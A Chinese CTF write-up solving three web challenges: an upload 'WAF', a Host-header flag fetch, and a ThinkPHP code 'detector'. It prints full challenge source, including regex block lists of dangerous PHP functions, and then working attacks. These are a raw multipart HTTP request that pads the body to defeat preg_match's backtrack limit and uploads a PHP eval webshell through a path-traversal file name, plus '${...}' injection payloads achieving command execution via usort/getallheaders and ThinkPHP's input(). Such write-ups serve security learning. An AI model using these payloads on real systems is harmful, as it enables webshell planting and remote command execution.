文章目录
- 奶龙牌WAF
- 海关警察训练平台
- 恶意代码检测器
奶龙牌WAF
<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['upload_file'])) {$file = $_FILES['upload_file'];if ($file['error'] === UPLOAD_ERR_OK) {$name = isset($_GET['name']) ? $_GET['name'] : basename($file['name']);$fileExtension = strtolower(pathinfo($name, PATHINFO_EXTENSION));if (strpos($fileExtension, 'ph') !== false || strpos($fileExtension, 'hta') !== false) {die("不允许上传此类文件!");}if ($file['size'] > 2 * 1024 * 1024) {die("文件大小超过限制!");}$file_content = file_get_contents($file['tmp_name'], false, null, 0, 5000);$dangerous_patterns = ['/<\?php/i','/<\?=/','/<\?xml/','/\b(eval|base64_decode|exec|shell_exec|system|passthru|proc_open|popen|php:\/\/filter|php_value|auto_append_file|auto_prepend_file|include_path|AddType)\b/i','/\b(select|insert|update|delete|drop|union|from|where|having|like|into|table|set|values)\b/i','/--\s/','/\/\*\s.*\*\//','/#/','/<script\b.*?>.*?<\/script>/is','/javascript:/i','/on\w+\s*=\s*["\'].*["\']/i','/[\<\>\'\"\\\`\;\=]/','/%[0-9a-fA-F]{2}/','/&#[0-9]{1,5};/','/&#x[0-9a-fA-F]+;/','/system\(/i','/exec\(/i','/passthru\(/i','/shell_exec\(/i','/file_get_contents\(/i','/fopen\(/i','/file_put_contents\(/i','/%u[0-9A-F]{4}/i','/[^\x00-\x7F]/',// 检测路径穿越'/\.\.\//',];foreach ($dangerous_patterns as $pattern) {if (preg_match($pattern, $file_content)) {die("内容包含危险字符,上传被奶龙拦截!");}}$upload_dir = 'uploads/';if (!file_exists($upload_dir)) {mkdir($upload_dir, 0777, true);}$new_file_name = $upload_dir . $name;print($_FILES['upload_file']);if (move_uploaded_file($_FILES['upload_file']['tmp_name'], $new_file_name)) {echo "文件上传成功!";} else {echo "文件保存失败!";}} else {echo "文件上传失败,错误代码:" . $file['error'];}
} else {?><!-- 文件上传表单 --><!DOCTYPE html><html lang="zh-CN"><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width, initial-scale=1.0"><title>文件上传</title><style>body {font-family: Arial, sans-serif;background: url('background.jpeg') no-repeat center center fixed;background-size: cover;display: flex;justify-content: center;align-items: flex-start;height: 100vh;margin: 0;}.upload-container {background-color: rgba(214, 227, 49, 0.22);padding: 20px;border-radius: 10px;box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1);text-align: center;position: absolute;top: 10%; /* 调整这个值来控制表单距离顶部的高度 */}.upload-container h2 {color: #333;margin-bottom: 20px;}.file-input {display: none;}.custom-file-upload, .submit-btn {display: inline-block;padding: 10px 20px;border-radius: 5px;cursor: pointer;font-size: 16px;}.custom-file-upload {background-color: #ff0000;color: white;margin-right: 20px;}.custom-file-upload:hover {background-color: #b3002a;}.submit-btn {background-color: #28a745;color: white;border: none;}.submit-btn:hover {background-color: #218838;}</style></head><body><div class="upload-container"><h2>你能逃出奶龙的WAF吗?</h2><form action="" method="POST" enctype="multipart/form-data"><label for="upload_file" class="custom-file-upload">选择文件</label><input type="file" name="upload_file" id="upload_file" class="file-input"><input type="submit" value="上传文件" class="submit-btn"></form></div><script>document.querySelector('.custom-file-upload').addEventListener('click', function() {document.getElementById('upload_file').click();});</script></body></html><?php
}
?>
给了源码, 过滤了后缀, 然后也有文件内容的检测, 过滤的特别严
通过 1.php/.
可以绕过后缀的检测, 1/../1.php/.
可以覆盖之前上传的文件
然后内容的检测绕不过, 就通过前面放一堆垃圾字符, 然后就可以正常上传一句话木马了, 然后访问执行命令就行
(回溯次数绕过preg_match)
POST /?name=aaa/../1.php/. HTTP/1.1
Host: 497586e9.clsadp.com
Content-Length: 12860
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://8a503895.clsadp.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0tqZtygzQSuAJaaB
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://8a503895.clsadp.com/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close------WebKitFormBoundary0tqZtygzQSuAJaaB
Content-Disposition: form-data; name="upload_file"; filename="1.txt"
Content-Type: image/jpeg11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
1111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
<?php eval($_POST[1]);?>
------WebKitFormBoundary0tqZtygzQSuAJaaB--
海关警察训练平台
直接抓包改host和GET请求
get --> /flag.html
host: infernityhost
恶意代码检测器
之前没做出来, 没有环境了, 拿网上的代码, 稍微改了一下试着复现了一下
原始代码, ThinkPHP的框架
<?php
namespace app\controller;use app\BaseController;class Index extends BaseController
{public function index(){$code = preg_replace("/[\";'%\\\\]/", '', $_POST['code']);if(preg_match('/openlog|syslog|readlink|mail|symlink|popen|passthru|scandir|show_source|assert|fwrite|curl|php|system|eval|cookie|assert|new|session|str|source|passthru|exec|request|require|include|link|base|exec|reverse|open|popen|getallheaders|next|prev|f|conv|ch|hex|end|ord|post|get|array_reverse|\~|\`|\#|\%|\^|\&|\*|\-|\+|\[|\]|\_|\<|\>|\/|\?|\\\\/is', $code)) {$attack_log_file = '/tmp/attack.log';if(file_exists($attack_log_file)) {file_put_contents($attack_log_file, '$attack_word=\''.$code.'\';'."\r\n",FILE_APPEND);require_once('/tmp/attack.log');} else {file_put_contents($attack_log_file, '<'.'?'.'php'."\r\n");}if(isset($attack_word)){echo '检测到危险代码: '.$attack_word.'!!!';} else{echo '欢迎使用gxngxngxn的恶意代码检测器!!!';}}else{$safe_log_file = '/tmp/safe.log';if(file_exists($safe_log_file)) {file_put_contents($safe_log_file, '$safe_word="'.$code.'";'."\r\n",FILE_APPEND);require_once('/tmp/safe.log');} else {file_put_contents($safe_log_file, '<'.'?'.'php'."\r\n");}if(isset($safe_word)){echo '未检测到危险代码,'.$safe_word.',非常安全';} else{echo '欢迎使用gxngxngxn的恶意代码检测器!!!';}}}
}
简单修改一下, 用于复现
<?php
highlight_file(__FILE__);
$code = preg_replace("/[\";'%\\\\]/", '', $_POST['code']);
if(preg_match('/openlog|syslog|readlink|mail|symlink|popen|passthru|scandir|show_source|assert|fwrite|curl|php|system|eval|cookie|assert|new|session|str|source|passthru|exec|request|require|include|link|base|exec|reverse|open|popen|getallheaders|next|prev|f|conv|ch|hex|end|ord|post|get|array_reverse|\~|\`|\#|\%|\^|\&|\*|\-|\+|\[|\]|\_|\<|\>|\/|\?|\\\\/is', $code)) {$attack_log_file = '../../tmp/attack.log';if(file_exists($attack_log_file)) {file_put_contents($attack_log_file, '$attack_word=\''.$code.'\';'."\r\n",FILE_APPEND);require_once('../../tmp/attack.log');} else {file_put_contents($attack_log_file, '<'.'?'.'php'."\r\n");}if(isset($attack_word)){echo '检测到危险代码: '.$attack_word.'!!!';} else{echo '欢迎使用gxngxngxn的恶意代码检测器!!!';}
}else{$safe_log_file = '../../tmp/safe.log';if(file_exists($safe_log_file)) {file_put_contents($safe_log_file, '$safe_word="'.$code.'";'."\r\n",FILE_APPEND);require_once('../../tmp/safe.log');} else {file_put_contents($safe_log_file, '<'.'?'.'php'."\r\n");}if(isset($safe_word)){echo '未检测到危险代码,'.$safe_word.',非常安全';} else{echo '欢迎使用gxngxngxn的恶意代码检测器!!!';}
}
根据代码的逻辑, 第一次执行的时候, file_exists都是false, 所以会在log文件里面写入 <?php
然后就是code的值写入到log文件里面去, 用require_once包含, 因为存在 <?php
的标签, 所以包含就会作为php的代码去执行
接下来就是绕过waf, 没有过滤掉 usort()
函数, 利用这个函数进行命令执行 , 再利用 .
进行拼接绕过
${}
可以将其作为php的代码执行命令, 本来以为它被引号包裹赋值应该没办法执行命令
但关键的也是它将$code
是用双引号包裹的, 不是单引号, 如果是单引号应该是无法执行命令的
file_put_contents($safe_log_file, '$safe_word="'.$code.'";'."\r\n",FILE_APPEND);
code=${usort((ge.tallheaders)(),sys.tem)}
因为是ThinkPHP的框架, 所以也可以使用 input()
函数
文档: https://www.kancloud.cn/monday/thinkphp6/1461097
code=${input(0)(input(1))}&0=system&1=ls /